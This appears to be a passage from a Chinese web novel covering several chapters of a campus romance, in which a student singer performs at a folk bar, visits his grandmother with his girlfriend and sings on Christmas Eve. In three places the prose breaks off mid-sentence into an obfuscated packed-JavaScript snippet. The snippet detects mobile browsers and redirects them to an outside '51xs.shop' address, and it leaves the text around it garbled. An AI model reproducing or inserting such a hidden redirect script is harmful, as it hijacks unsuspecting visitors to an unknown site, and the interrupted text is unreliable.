“开心的话……给我唱首歌吧,就当这趟车费。” “大晚上在这儿唱歌?得了吧,赶紧回去了!”我一边说着,一边把吉他迅速装进包里,做出一副马上就要走的模样。 虞寒艳的眼神中流露出一丝失望,仅一瞬,却被我收在眼底。 “好嘛好嘛,只剩最后一学期了,以后你就是想唱也没我这个听众喽!” 我问:“当真不回去?” “不回!”她目光坚定地答道。 “车子的电够不够?” 拿她没辙,我想起以前兼职驻唱过的一家清吧,清吧老板与我还算熟悉,因为备考和换校区的种种原因,那家清吧已经将近一年没去过了。 虞寒艳疑惑地点了点头,我说道:“那就辛苦你把琴背好,我骑车带你,去以前那家酒吧。” …… 大概因为明天是周一,又正值冬季,这家民谣酒馆里的人并不是很多。昏黄的灯光柔和地洒下,给整个酒馆增添了一抹温馨而静谧的氛围;墙壁上挂着一些老旧的乐器和照片,散发着岁月的气息;酒馆的角落里摆放着几盆绿植,在这略显清冷的环境中努力地舒展着枝叶,为这里带来一丝生机。 刚一进门,酒馆老板目光瞬间锁定在了我的身上,旋即立刻认出了我。 他原本平静的脸上绽放出热情洋溢的笑容,急忙迈着轻快的步伐走过来,伸出手示意,引领着我和虞寒艳朝着一个相对安静的座位走去。 我的心里涌起一丝感慨,再次回到这里,一种熟悉又陌生的感觉交织在心头。跟在老板后面,忍不住环视四周,那些曾经无比熟悉的场景一一映入眼帘,让我既有着怀念,又有着些许的怅然。 这家小酒馆是对刚大学毕业没几年的年轻小夫妻开的,大二的时候,我基本是每晚都来这里驻唱,为了一月四千左右的驻唱费。相黎偶尔也会过来陪我,顺便给店里帮帮忙,那段时光也算是我大学时光里比较浓墨重彩的一笔。 老板夫妇二人年纪不大,人很好,和她们沟通起来更像是同龄人,没有代沟,在这驻唱的时候,受了他们不少照顾。 环顾了一下店里的情况,我问道:“宇哥,彤姐今晚没在吗?” “别提了,现在淡季没啥客人,我和彤彤这些天在筹备圣诞节和元旦的活动,年前就靠这两个节日冲一冲业绩了,这不,今天累坏提早回家休息了。”宇哥解释道,一边给我们展示店里的圣诞节风格的布置。 “也是,明天就是圣诞节了。” 我不习惯过这种节日,总感觉祝身边的朋友圣诞快乐有点违和。尽管如此,去年的圣诞节我还是过了,因为相黎一直吵着要过圣诞节,她一个人就把圣诞节整天的行程全安排满了。 只是经过今晚的不愉快,不知道明天的圣诞节她是怎么打算的? 一旁的虞寒艳轻轻地搓了搓自己的手,似乎是想要驱走一些寒意,随后她开口问道:“宇哥,现在酒馆里还有驻唱吗?” 宇哥眼神中带着一抹意味深长,缓缓地看了看我,接着他从口袋里掏出了烟盒。我见这情形,赶忙迅速地把烟拿出来,给宇哥散了一支。 宇哥伸手接了过去,我拿出打火机为他点燃。 宇哥深吸了一口,然后笑着说道:“小顾,档次什么时候变得这么高,都抽起黑徽商了,哥快穷得普皖都抽不起了!” “宇哥,我什么德行你还不知道……这烟是刚才吃饭时朋友给的,小资才抽这种细烟,我抽不惯……你拿去抽吧。” 嘴上说是朋友给的,但是那位朋友没有付钱,全是割我的肉。本着钱要花在刀刃上,我大方地把烟送给了宇哥。 “哪里能要你的烟?”宇哥惊讶地摆摆手。 不等宇哥拒绝,虞寒艳接过烟塞到他的手里,“宇哥,你就当做回好事……闻到他身上烟味就不舒服!” “行!弟妹都这么说,那我就却之不恭了,哈哈!” 虞寒艳顿时显得不知所措,双颊已然绯红,上嘴唇咬着下嘴唇,没喝酒却像喝了酒一样。 我刚想解释,虞寒艳抢先说道:“宇哥,你误会了,他今晚在外面喝多了,没人管他,我做好人过来接他而已。” 我无奈地点了点头,宇哥再一次意味深长地笑了,说道:“这样啊……”他深深吸了口烟,“瞧我这记性,你们有多久没来了,有你在驻唱的时候,生意都好不少,现在淡季就周末的时候请个兼职驻唱,都没你靠谱儿,有时候还得你彤姐自己上去唱上两嗓子。” 我知道宇哥是在说客气话,实际上,他们夫妻俩开个酒吧也没什么压力,毕竟他们可是在市里拥有两套房的大户。曾经听宇哥讲起过,结婚的时候他们家全款买了套房当彩礼,而彤姐家里陪嫁也陪了一套房,双方都是全款 拿下。想当初在酒吧听到宇哥这般凡尔赛的时候,大家纷纷险些流下了羡慕的泪水。 “说实话啊,小顾,你这几天有没有时间呀?过来撑个场子呗。年轻人还是比较中意你这款的呢,你放心,费用照常给你结算。” 宇哥看着我,言辞恳切。 主要是不确定圣诞节相黎怎么安排,对于宇哥的提议,我显得有些犹豫。但是,我内心还是比较倾向于来这儿挣点外快,至少可以把欠高炜的五百块还了。 见我迟疑,宇哥话锋一转,憨笑道:“瞧我,看见老朋友就唠个没完,你们是客人,喝点什么吗?” 触发关键词“酒”,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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才不断的追寻更好的自己 直到青春一定程度的浪费 才觉得可贵……” 曲罢,宇哥重新开启了酒吧的背景音乐,我回到座位上,看着虞寒艳,这个平日里大大咧咧的丫头此刻竟显得有些呆萌,也不知道是不是宇哥鸡尾酒的作用。 “怎么样?” “就那样。”她还是一如既往地吝啬对我的赞美,“我说吧,你也就在高中文艺汇演时那首《一万次悲伤》拿得出手了,让你唱首歌就给我来上这么悲伤的歌?这可不行!” “哦。” “再给你一次机会,换首快乐的歌,快去快去!”虞寒艳扬了扬拳头,噘着嘴“威胁”道,嘴唇上还残留着蛋酒的奶沫。 “哦。” “那你待会儿可就没有司机了喂!” 《一万次悲伤》是我很喜欢的一首歌,但是我不想在清吧里唱这首歌,第一个是因为清吧本就适合民谣类型的歌曲,第二个我不想去降调去演绎这首歌,那样就失去了这首歌的灵魂。 谈话间,我打开手机看了一眼,有一条相黎的微信消息,她问我不回学校大晚上在酒吧做什么。 第6章 而你难得来乡间 扫了一眼微信,才发现宇哥将我刚才弹唱的一小段发到了朋友圈,大致内容是王牌驻唱回归,期待圣诞节的聚会。 动态底下最亮眼的便是相黎的点赞。 早些时间在这里驻唱的时候,相黎经常过来帮我撑场子,和宇哥夫妻俩也算熟识。 回了消息给相黎,我告诉她今晚走后的情况。她和虞寒艳也是好朋友,我们仨之间的事我对她从未有保留,善意的谎言也没有过。 …… 之前大二去外地实习的时候,相黎过来看我,晚上为了不让她一个人在外面住宿,她过去和虞寒艳同寝共床,挤了一个实习宿舍,她们渐渐也就熟络了起来。 后面,相黎的班级里有些风言风语,说相黎之所以不住校,穿的用的都是名牌,是因为她被校外有钱人包养了。 相黎倒是洒脱,行得正就不在意别人的恶意猜测和中伤。可是虞寒艳得知这件事后,竟然冲到她们的女生寝室,为相黎打抱不平,对着造谣的女生一顿言语输出,捍卫着相黎的名誉和尊严,每一句话都像是一把犀利的剑,直直地刺向造谣者,毫不留情地驳斥着那些无中生有的谣言。 要知道,虞寒艳发起狠来,可不仅仅流于表面,而是发自骨子里的狠辣。 也就从那时候起,她们俩逐渐发展成了好闺蜜。虞寒艳这种性格的人,可以做相黎的小棉袄,也可以是防弹衣。 …… 情况讲清楚过后,马上又收到了她的信息:“不用说这么详细,你也为我唱首歌吧,当作给我的补偿!” 这时,虞寒艳也催促起来,“看你这一副不情愿的样子,格局真不是一般的小!” 我白了她一眼,然后到吧台和宇哥说明情况,表示想再唱首歌,并且拜托他待会儿用我的手机进行全程摄像。 准备就绪之后,我想到的歌是张悬的《我不和你谈论》,张悬是相黎最喜欢的歌手,此时此刻,选择这首偏民谣的歌再适合不过了。 “我不和你谈论诗艺 不和你谈论纠缠不清的隐喻 请离开书房 我不和你谈论人生 不和你谈论深奥玄妙的思潮 请离开书房” 台下的虞寒艳听完这几句歌词,一脸傲娇,双手抱着胳膊,朝我挤眉弄眼,像是在表达对我选歌的不满。 她一定是没听过这首小众但像诗一样的歌。 没有理会她,我继续扫着弦唱道:“我带你去广袤的田野 去看看遍处的幼苗 如何沉默地奋力生长 我带你去广袤的田野 去触摸清凉的河水 如何沉默地灌溉田地 我带你去广袤的田野 去探望一群群的农人 如何沉默地挥汗耕作 你久居闹热滚滚的都城 诗艺呀 人生呀 社会呀 已争辩了很多 这是急于播种的春日 而你难得来乡间 ” 下台之后,我把宇哥录好的视频给相黎发了过去。几分钟过后,相黎回复道:“明天圣诞节,我们一起去你的桐城老家看望奶奶,怎么样?” 她看似在征求我的意见,其实我知道,她已经做好决定,询问我的意见只是走个过场。不出所料,紧接着她又发了条语音过来:“这首歌临时给我的灵感,就这样决定啦!明早起早点,我去接你!” 在我愣住的瞬间,她又说道:“不许说不哟~乖啦~” “就你这态度,还真应了这句歌名——我不和你谈论。” 我们的聊天在相黎最后发来的“得意”表情中结束了。在和虞寒艳回校之前,我跟宇哥说好,从明天晚上开始,往后的几天晚上过去驻唱。 …… 第二天。 冬日的清晨,连大地也冷得披上了一层寒霜。树轻轻地呼吸着,树梢隐隐地起伏,它们在静静地思索,思索着往后再也见不到我起早去上课,它们在这个清晨突然觉得孤单,清静出奇的校园也平添了几分孤寂。 迅速和相黎汇合后,上了她的车,车里的暖风顿时将我与车外的世界分隔。 主驾驶的她保持着一贯淑气内盈的端庄模样,清秀的面庞,搭配上空气刘海齐肩中发,她根本不需要用什么化妆品来修饰,天生就是一个美人胚子。 “看够了吗?安全带系上,出发!” “你今天忘记化妆了?” “见奶奶化什么妆,奶奶和你们这些直男一样?再说,不化妆就不好看吗?”她对着后视镜拨弄着头发,又摸了摸脸颊,抿着嘴,左看看右看看,反复端详着自己的面容。 “出发了,妮妮仙女!” “等等,咱俩换个位置,仙女不想开车。” …… 一路上,我们有一搭没一搭地聊着渐渐转冷的天气和若有似无的毕业论文选题。突然下起来的小雨夹着冰雹淅淅沥沥地打在车子的前挡玻璃上,水滴噼啪的碎裂声像一串串挂在耳边的音符,不断引起我颅腔不安的共振。 突然,她问起我:“你有没有和奶奶说今天回家?” 我的回答是没有,她满意地笑了,说道:“这样最好,我奶奶每次看我突然回家,都会很惊喜!”接着转头望向窗外,轻轻抚摸着晨露尚未完全褪去的车窗。 “你啊……”我笑着摇摇头,“你知道吗?人总是在接近幸福的时候倍感幸福,你提前告诉她你 要回去,在等待的过程中,奶奶也一定是很高兴的……年纪大了,比起突如其来的惊喜,有个盼头将会是一个持续幸福的过程。” 相黎若有所思地点了点头,看来是认同了我的这个说法,她接着我的话我说道:“但是你知道吗?现在就是有个别的人,在幸福进行时又患得患失……” 她话语行间又在内涵我的摇摆不定。 “这就是为什么周五总比周日快乐……” 人总是在靠近幸福的时候,无比的欢喜,但是在得到幸福的时候,开始患得患失。我和她之间既有过周五的期待,也有周六放纵的快乐,但现在却处在终将逝去的周日。 我没有正面回答她的问题,过了一会儿,她转移话题,又问:“你回家什么也没带吗?” 我反问道:“你呢?” “带了呀,不是把你带回家了吗?” “我也一样。”我转过头,温柔地瞥了她一眼,说道:“你就是上天赐予的礼物!” “什么嘛,原来我是礼物啊~”相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039896|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎学着优乐美广告词的语调撒娇道。 我也跟着她发自内心地笑了。的确,她是我最想带回家的“礼物”,带回家了就再也不想带走。 一个多小时的车程过后,终于是到家了。老家龙眠这块儿,虽然周边环境山清水秀,可交通却是有些闭塞,所以现在爸爸去了城里做生意。前几年爷爷走了,老家只剩奶奶一人在家。 停好车下来,我感觉有雨滴下到衣领里面去了,寒冷像丝一样在后背游动,每一口吸入肺中恣意窜动的冷空气,都让我在久久酝酿后呼出一道白色的叹息。想必相黎也被突如其来的冷空气袭击得不知所措,我招呼她赶紧往屋里跑。 最先迎接我们的是斑斑,它是一条身上流淌着虎斑犬和中华田园犬血液的狗,很聪明,奶奶对它甚是喜爱。 斑斑一边“汪汪”地叫着,一边警惕地向我们靠近,近身后,它才看清来人,不停地摇起尾巴,“嘤嘤”诉说着它的思念。 奶奶听见犬吠声,慢步走出门口,看见我和相黎,瞬间大喜过望,一时间开心得说不出话来。 相黎立即奔向奶奶身旁,牵着奶奶的手进了屋,我看见一个温暖的笑容在奶奶满是皱纹的脸上绽放,一圈圈晕染开来。 奶奶已年过七旬,一头短发像罩了一层白霜,眼睛已经深深地陷了下去,嘴里的牙也已经快脱光,一双粗糙的手爬满了一条条蚯蚓似的血管,那饱经风霜的脸上刻满了皱纹,像是记载着她七十年来的千辛万苦。 作为一个女生,情感天生就比像我这样的男生细腻不少,她的每句话、每个动作中好像都带有甜味糖果一样,总是能把奶奶哄得很开心,还一个劲地追问奶奶关于我小时候的故事,即便她和奶奶的语言好像并不是很互通。 奶奶说了一辈子的方言,和她交流要用上毕生所学,才能吃力地说着生硬的普通话。 奶奶领着相黎进我的房间,介绍着每件物品的过去。奶奶指着一个很多年没有过使用痕迹的小霸王游戏机说道:“顾懿小时候一放学就知道玩这个游戏机,书也不知道看,所以他放假的时候我就把游戏机的卡全部给藏起来,他就没找到过。” 相黎问:“他这么古灵精怪还找不到啊,奶奶把游戏卡藏哪儿啦?” 我苦笑道:“我当时把家里所有地方都找遍了,甚至把门外砖头都翻过来了,没找到哦!” “那藏哪儿了?”相黎脑海中有了画面,强忍着笑意,但又疑惑不解。 “在我书包里。” “哈哈哈!” “找东西我可是能手,小时候去小伙伴家看奥特曼dvd光碟,一村的小孩子都往他家跑,他爷爷就把光碟藏起来了,我们去找,把他爷爷的日语学习资料找出来了,还当众播放了……” “我们当时还在讨论,怎么没有怪兽,奥特曼去哪了?” 奶奶微微皱起眉头,嘴角向下撇着,突然扬起手朝着我的肩膀不轻不重地打了一下,眼睛瞪着我,佯怒道:“还说,你看看你,真是越长大皮越厚!” 转而奶奶又问道:“你们上学回家,学校里没问题吧?有没有和你爸打过招呼?” 第7章 陪我再久一点吧 “学校没课了,就等着毕业了……等会儿吃过饭还要回校呢,我爸那边待会儿给他打个电话。” 其实我心里很抗拒和那个男人交流,如果没有他,我的人生本不会如此潦草;如果他没进去七年,这些年爷爷就不会劳累过度,以至于落下一身病,走得早…… 但我嘴上还是说饭后会给他打个电话,这么说可能会让奶奶放心,老人家年纪大了最担心的就是家中小辈。 “那我赶紧去做饭,也不提前说一声,这仓促地,也没什么菜在家里。” “奶奶,我去帮您打下手。” “大小姐,这乡下土灶你会操作吗,就打下手。” 相黎娇哼一声,跟着奶奶进了厨房。 没过一会儿,厨房里就传来了锅碗瓢盆的声音,以及熟悉的乡间烟火气息。我看到相黎系着围裙,有模有样地在洗菜、切菜,还不时地配合奶奶给灶台里添柴火。 相黎坐在灶台口借着柴火燃烧的温度取暖,一脸“轻蔑”,没好气地质问道:“站着干嘛,不知道帮点忙,就等吃呢?” 奶奶也帮腔:“人家进门是客,还要人家帮忙,不学着洗衣做饭,以后怎么过日子,就指望着老婆?” 相黎与我四目相对,在那一瞬间,她的眼眸闪过一丝羞涩,紧接着便迅速地错开了眼神,然后像是要掩饰什么似的,继续低下头去专注地烤着她面前的火,那火苗跳动着映在她的脸上。 我也默默地转过头去,开始逗弄起一旁的斑斑,用手轻轻抚摸着斑斑的脑袋,斑斑欢快地摇着尾巴,似乎并未察觉到刚刚那微妙的氛围。 “中午没什么菜,下了点汆肉面,学校里应该吃不到吧?”奶奶揭开锅盖,观察着锅中食材的烂熟程度,“熟了,赶紧洗手吃饭吧!” 奶奶热情地给相黎盛了一碗,又给我盛了一碗,招呼着我们先端到桌上吃。 我们这两碗面看着面多,我心里知道肉全都悄悄放在了碗底。 相黎见状,端着原本属于我的那份递到奶奶面前,轻柔地说:“我和奶奶先吃,剩下的你自己解决。” “整天嚷嚷着减肥,这也不吃,那也不吃,这一碗面里全是碳水和油脂!” “略略略~” 老人家开始是有些拒绝的,相黎不给她推辞,端着碗撺掇着奶奶一起去吃了。 我独自望着锅里仅剩的面条和若有却无的肉末,不禁笑了出来,幸福地笑了。眼前的两个女人是我生命中最重要的三个女人之二,就算将我仅有的一切献给她们也不为过,何况是一碗肉多的面呢? 小时候,奶奶总是把好吃的留给我和顾嘉,顾嘉都会将她的那份留给我;一直不知道顾嘉离家后,在另一个家会不会拥有一份专属的爱,想必是很难吧? …… 饭后,相黎握住奶奶的手,头趴在奶奶的腿上,听着老人家的碎碎念。 老人家的背如弯弓般驼曲着,眉心处的两道深纹仿佛是木刻刀留下的印记。相黎的陪伴使得那张饱经风霜的面庞逐渐绽放出一丛笑容,从额头延伸至眼睛,再流淌到嘴角,透着一股祥和与淡定,岁月的波澜在这一刻都归于平静。 今天是相黎第二次来这儿,第一次是在春天的时候,她仿佛是来春游一般,好奇地紧紧拉着我,兴致极其高昂地在这里游历了一番,还用她那台单反相机将桐城的嬉子湖、六尺巷以及古城楼都挨个拍了个遍。 而这一次是在寒冷的冬天,她不再像之前那般肆意洒脱、放浪形骸于外,仅仅是给予老人一份贴心的陪伴。 相黎和奶奶说,她爸爸不在老家,没有时间看望家中父母,她到这里来上学就是替她爸尽孝,弥补她爸的遗憾。记忆中,大学里一有时间她都是开车回她自己奶奶家中,能陪伴一刻便是一刻。 突然,就在她正轻声诉说着的时候,毫无预兆地,她的眼眶瞬间泛红,紧接着眼泪就像断了线的珍珠一样簌簌坠落,在她的脸颊上划出一道道悲伤的痕迹。 “前些天,我奶奶走了……” 她的声音颤抖着,无尽悲怆,与此同时,她的眼泪如决堤的洪水一般,止不住地汩汩往下流。 “爸爸妈妈难得地全都回来了,丧礼办完之后,我看见爸爸一个人在角落里,像孩子一样偷偷地抹着眼泪,那一刻,我突然惊觉,爸爸的故乡没有了……” 她哽咽着说完这些话,泪水依然肆意地流淌着,仿佛要将心中所有的悲痛与不舍都宣泄出来——为她,为她的爸爸,也为那逝去的亲情与故乡。 终于,她再不能言语,把头埋在了奶奶怀里,啜泣不止。 我紧紧地握住她的手,目光满含着心疼与安慰,轻声说道:“奶奶是跳出了时间,她回归到了宇宙里最原始的分子,然后再慢慢地重新构建成你身边的其他事物……以后,你遇到的每一样美好的事物,那都可能是她,她只是作为你亲人的这重身份消失了而已,但她会换个身份一直默默地陪在你身边的……” “我知道的,爸爸一定也明白。” 这一刻,我仿佛看到了多年以后亲人离去时,我那孤独无助的模样,不自觉地也落下了几行泪。 此刻卧在奶奶怀中的相黎,给 我更多的感觉是亲人,那种血浓于水的亲情感觉在心中蔓延开来,让我的心也跟着隐隐作痛。 …… 临走时,奶奶布满皱纹的手颤颤巍巍地在她那洗得有些发白的荷包里摸索着,那荷包因为使用时间太久,边缘都已经起了毛边。 奶奶的眼神专注而又急切,生怕动作慢了就来不及了。 终于,奶奶摸出了几百块钱,她紧紧地攥着那几张钞票,脸上满是慈祥的笑容,执意要硬塞给相黎,嘴里还不停地念叨着:“孩子,奶奶这儿也没啥好东西招待你,这点钱你拿着,自己去买点喜欢吃的东西……” 相黎眼睛再一次止不住红了,满脸感动和不好意思,推辞着说道:“奶奶,真的不用,您留着自己用吧……” 相黎知道奶奶的心意,她既感动又有些不知所措,她感受到了奶奶对她深深的疼爱,但她也不想让奶奶破费,却推辞不下,最后只好无奈地将钱装在了她那粉色的小熊手机壳后面。 奶奶看着相黎的动作,眼里满是疼惜和不舍,目光中饱含着长辈对晚辈浓浓的关爱之情,似乎怎么看也看不够眼前这个乖巧的孩子。 我知道,这一刻奶奶是把她当做孙媳妇看待了。 车子缓缓发动,就在这时,相黎像是突然想起了什么至关重要的事情一般,略显慌乱地从后座的包里面拿出了她那心爱的单反相机,然后动作迅速地递给了我。 她下车后,快步走到奶奶身边,紧紧地牵住奶奶那布满皱纹却依旧柔软 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她微笑着,眼神中透着一种深邃的光芒,道:“你知道吗,我们当下也许无法准确判断出一个瞬间的价值,那些看似平常的时刻,往往在日后才会显现出其珍贵之处,而照片存在的意义就在于它能够赋予回忆更多的可能。” …… 回去的路上,车载蓝牙连接着相黎的手机,播放着孙燕姿的《hey jude》,我开着车,相黎眼睛微眯着假寐。 我一边漫不经心地开着车,一边随口问道:“昨晚我喝醉之后,你说了些什么?” 我的声音在车内轻轻地回荡着,打破了那原本只有音乐声的静谧。此时,孙燕姿的《hey jude》依旧在缓缓播放着,相黎原本微眯着的眼睛缓缓睁开,她转过头来,眼神中带着一丝思索,似乎在努力回想昨晚的情形。 她轻轻地吸了一口气,将刚才的悲伤情绪一下子收敛了起来,平静地说道:“你再喝一次,我便再说一次。” “什么嘛,不说就不说呗,其实我听到了……”我试图诈她一下。 相黎听到我的话后,明显愣了一下,在判断着我话里的真假,她的嘴唇微微动了动,想要说些什么但又忍住了。 我用余光偷偷观察着相黎的反应,心里暗暗好笑,想着她会不会就这样被我诈出来,而相黎也很快察觉到了我的意图,直接就是一记粉拳。 “喂,开着车呢!” 她佯怒着,扬了扬她那好似甜甜圈的拳头,然后叹了口气,说道:“顾懿,拜托陪我再久一点,好吗?” “怎么突然这么说?” “时间在不断流逝,而我一直在失去……我害怕有一天失去勇气,不敢去面对这个世界,在我失去到一无所有前,陪着我,顾懿……” “别说傻话,我和你加起来对付这个世界总够了吧?” “嗯,有你在,我就敢。” 她舒了口气,继续说道:“和昨晚说的一样,我不希望你变成无所不能的样子,如果你要在我的期待中改变自我,你将失去你自己……我们都要遵从本心做自己,相黎就是相黎,顾懿就是顾懿。” 突然,一阵电话铃声打断了蓝牙音乐。我瞅了瞅中控屏,上面显示着“宁致”俩字。 这两年有个年轻的网络流行歌手也叫这名儿,我有点印象。 第8章 清清白白 相黎手一伸,“啪”地一下关掉了正在播放音乐的蓝牙,然后迅速接起电话。车里瞬间安静下来,只有她轻轻的说话声。 “圣诞快乐呀,宁致。” “有点不巧,今天不在合肥。” “嗯……那等我晚上回来吧,一起吃顿饭。” 通话在相黎的几句嗯嗯呀呀声中结束了,我试探着问她:“晚上还去宇哥那里吗?” “不啦,有个朋友过来了。” 潜意识还想追问,身体却很诚实地沉默了。其实我特希望她能来听我唱歌,我学吉他从未想过抛头露面去演出……把驻唱当饭碗,心里多少有点别扭,但只要她在台下,我就有了精神寄托。 车继续行驶着,我的思绪却开始神游。 相黎伸过头来戏谑地盯着我,那双水汪汪的眼睛在卧蚕的衬托下一闪一闪地,“啧,怎么闻到了一股酸味儿?” 我下意识地紧握住方向盘,双眼平淡地注视着前方,刻意避开与她那充满戏谑的眼神对视。我努力让自己看起来波澜不惊,故作淡然道:“有吗?” “没有吗,那我就去和宁致吃饭喽,人家怎么说也是个新生代歌手……啧,你这个酒吧小驻唱还是往后稍!” 相黎语气带着一丝调侃,自顾自地大笑起来,继续说道:“顾懿,你知道吗?你越安静,越淡定,越忍耐,越无所谓,你眼里暗藏的汹涌就越沸腾,就越能戳中我的笑点。” 我叹了一口气,冷哼一声,握着方向盘的手不自觉地紧了紧。 相黎话锋一转,说道:“顾懿,我只是做了和你一样的事而已,明白我的感受了吗?” 她的声音很平静,却带着一种深意。车依然在行驶着,而我们之间的氛围变得有些微妙起来。 “你是说寒艳吗?” 不等我说完,她打断道:“没有错,我还以为你不清楚呢,看来是一直揣着明白装糊涂,寒艳对你怎么样,明眼人一眼就能看出来,我不相信身为当事人的你不知道。” “我和她,清清白白。” 虞寒艳和我高中时期便是不错的朋友,大学里她更是如同救世主一般,在我和高炜面对诸多课堂作业、课程设计以及实习成果的难题时,屡屡伸出援手,给予我们关键的支援。她的室友钟璇又是高炜的女朋友,这又使得我们几个在平时的生活中有了更多的联系,经常一起在食堂吃饭,一同上课下课,结伴而行。 就是这种常常在一起的微妙关系,起初让周围的人产生了误解,以为我和她在一起了。这种误解或许是因为我们相处的模式太过亲密,太过自然,以至于旁人很容易产生那样的错觉。 事实就是,所有人都以为我俩在一起了,其实只有我俩知道没有。 “那你就清清白白吧,我睡觉了。” 相黎闭上眼睛侧过头去蜷缩起来,喃喃道:“不过,顾懿我要告诉你,算了……” 她欲言又止,声音越来越小,她似乎有什么重要的话想说,最终选择了放弃。 车内在这一刻变得格外安静,静到能听见她微弱的呼吸声。窗外的景色依旧在不断变换。她的这一举动让我感到有些心疼,也让我更加意识到她在我心中的重要地位。 …… 突然想起,我和相黎刚认识那会儿,她经常来我们乐队排练室玩,来得勤了,干脆就加入我们乐队,当起了贝斯手。不过在这之后,乐队的鼓手宗斌却老是搞些奇怪的动作,又是请喝奶茶,又是自己掏钱请客吃饭,对相黎那叫一个殷勤,谁都能看出来他在打什么主意。 宗斌是个典型的富二代,这一点在很多方面都表现得极为明显。与我和高炜这样的苦逼大学生形成了鲜明的对比,我和高炜每次聚个餐都要精打细算地实行 aa 制,一分一厘都要计较。 而宗斌从来都不必为生活费而发愁,金钱对他来说只是一个数字而已。更甚者,就连乐队里面大多数的花销都是他自掏腰包。从乐器的更新换代,到排练场地的租赁费用,他都毫不犹豫地承担下来。不得不说,他属实算乐队的幕后股东,为乐队的发展提供了坚实的经济支持。他的存在让乐队少了很多因资金问题而产生的困扰和阻碍,也让我们能够更加专注地投入到音乐创作和表演中。 正因为这样,我当时深感纠结。一方面,我对相黎确实有特别的感觉,也有想追求她的念头;但另一方面,宗斌的存在让我倍感压力,他无疑是我追求相黎道路上的一个强劲对手。 受挫感、好胜心和对相黎的爱慕之意杂糅在一起,摧残着我。这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039898|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉就好像下了一场暴雨,我故意站在她的门外,几度想要敲她的门,问她是否可以暂时借避,可我又不敢,只好一直站在雨里。 那时候高炜瞧我落寞,常用玩笑话调侃我:“喜欢就去追啊,我把把1-8照样抢打野位!” 再后来,相黎和我越走越近,直到成为我的女朋友,即使是这样的情况,宗斌依然没有停止对她穷追猛打般的追求。 他似乎不甘心就这么放弃,依旧我行我素地试图打动相黎。但事实是显而易见的,他的种种努力并没有起到作用。眼见自己的追求毫无效果,宗斌在队里便没有了一副好脸色, 脸上时常带着不满和怨气,甚至常常阴阳怪气、冷嘲热讽,让乐队的氛围也变得有些怪异和紧张。 “悲观骑士”因此就真的变得悲观了,各个乐手之间也没了默契地配合。 在我为“悲观骑士”感到惋惜之时,相黎毅然决然地带着我离开了乐队,在离开的时候,她还说了一句令我印象极其深刻的话:“忠诚是爱情的第一准则!” 这句话如同重锤一般敲在我的心上。 …… 思绪拉回现在,一开始她那般言之凿凿说过的话,我却一直忽略了。我瞥了一眼蜷在副驾上的她,细声喃喃那句:“忠诚是爱情的第一准则!” “哼!” 相黎突然冷哼一声,可能是听到了我的默念,也可能是冷了,便拽了拽衣服,换了个姿势继续假寐。 “待会儿就到,别睡了,小心着凉了。” 言罢,相黎辗转身子面向我,沉默不语,就瞪着眼睛,一脸幽怨地盯着我看,像是天使对恶魔的审判。 “顾懿,你看过《夏目友人帐》吗?” “嗯?” “一部很治愈的日漫。” “我知道,你是想说我像夏目贵志吗?” “不,我这么温柔,才像夏目。” “那我呢?” “你嘛……是夏目的猫咪老师,这么无聊的世界上,就因为有了你这样天真的笨蛋,才多了些浪漫。” 猫咪老师那可爱又有些傲娇的形象瞬间浮现在我的脑海中,他正摇着圆滚滚的身子,在阳光下散发着独特的魅力。 …… 第9章 圣诞夜 四点左右回校之后,相黎开着车走了,我回寝室换了身衣服,稍微打扮了下,收拾好便早早赶往宇哥的民谣酒馆,帮宇哥打打下手。 正值酒吧的淡季,宇哥和彤姐对这次圣诞的营销活动还是十分重视的,一方面在线上上架了很多限时团购套餐,线下也准备了不少节日奖品。但限于酒馆的规模不是特别大,店里大部分业务都是宇哥夫妻俩亲自上阵,额外只请了两个调酒师,外加两三个服务员。 晚间八点多的时候,店里的客流才迎来了顶峰,估摸着有二三十个人,在这个寒冷的夜里,一群年轻人聚在了这间温暖的房子里,也是件很浪漫的事。 高炜、钟璇和虞寒艳也在这群客人中间,应该是过来捧我的场子,看见他们,心里突然涌起了一股暖流。 在这个商家营销铺天盖地宣传节日的环境下,整个世界都吵闹着要过圣诞节,窝在寝室里是多么的冷清、枯燥。 可是,她没有来。 演出时间定在八点半,随着时间临近,现场的氛围逐渐热烈起来。工作人员先是忙碌地给每个客人发了一枚平安果和一顶圣诞帽,客人们接过这些带着祝福与节日气息的小礼物,脸上都洋溢着喜悦。 随后,宇哥拿着话筒精神抖擞地走上台热场。他的声音通过话筒传遍整个空间,说道:“所有存在于世间的美好事物,都在今夜闪闪发着光,希望大家圣诞夜快乐,快乐不止今夜!” 他的话语充满了感染力,瞬间点燃了全场的节日气氛,起了个好头。大家纷纷鼓掌欢呼,充满了温馨与欢乐,每个人都在期待着接下来精彩的演出,也期待着这个特别的圣诞夜能留下更多美好的回忆。 在这闪烁的灯光下,在这欢乐的氛围里,所有人暂时忘却了烦恼,尽情享受着此刻的美好,除了我。 因为,她没有来。 